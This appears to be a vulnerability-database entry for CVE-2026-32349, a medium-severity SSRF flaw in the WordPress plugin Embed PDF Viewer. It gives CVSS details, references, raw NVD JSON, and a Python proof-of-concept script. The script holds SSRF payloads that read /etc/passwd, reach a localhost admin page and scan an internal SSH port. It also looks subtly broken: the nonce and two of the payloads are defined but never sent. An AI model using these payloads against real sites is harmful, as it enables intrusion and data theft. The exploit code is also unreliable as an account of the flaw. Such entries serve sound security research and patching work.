CVE-2026-32349

Description

Server-Side Request Forgery (SSRF) vulnerability in Andy Fragen Embed PDF Viewer embed-pdf-viewer allows Server Side Request Forgery.This issue affects Embed PDF Viewer: from n/a through <= 2.4.7.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Embed PDF Viewer <= 2.4.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-32349 SSRF PoC for Embed PDF Viewer Plugin
# Target: WordPress site with Embed PDF Viewer <= 2.4.7

target_url = "http://target-wordpress-site.com"

# SSRF payload to access internal service
ssrf_payload = {
    "url": "http://localhost:80/admin",
    "embed_pdf_viewer_nonce": "attacker_controlled_nonce"
}

# Alternative: Read local file via file:// protocol
file_ssrf_payload = {
    "url": "file:///etc/passwd",
    "embed_pdf_viewer_nonce": "attacker_controlled_nonce"
}

# Internal port scanning via SSRF
port_scan_payload = {
    "url": "http://192.168.1.1:22",
    "embed_pdf_viewer_nonce": "attacker_controlled_nonce"
}

# Send exploit request
endpoint = f"{target_url}/wp-admin/admin-ajax.php"
data = {
    "action": "embed_pdf_viewer",
    "pdf_url": ssrf_payload["url"]
}

response = requests.post(endpoint, data=data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text[:500]}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32349
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32349
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32349/
[4] VulDB https://vuldb.com/cve/CVE-2026-32349
[5] https://patchstack.com/database/Wordpress/Plugin/embed-pdf-viewer/vulnerability/wordpress-embed-pdf-viewer-plugin-2-4-7-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32349", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:46.793", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Andy Fragen Embed PDF Viewer embed-pdf-viewer allows Server Side Request Forgery.This issue affects Embed PDF Viewer: from n/a through <= 2.4.7."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en Andy Fragen Embed PDF Viewer embed-pdf-viewer permite la falsificación de petición del lado del servidor. Este problema afecta a Embed PDF Viewer: desde n/a hasta <= 2.4.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/embed-pdf-viewer/vulnerability/wordpress-embed-pdf-viewer-plugin-2-4-7-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}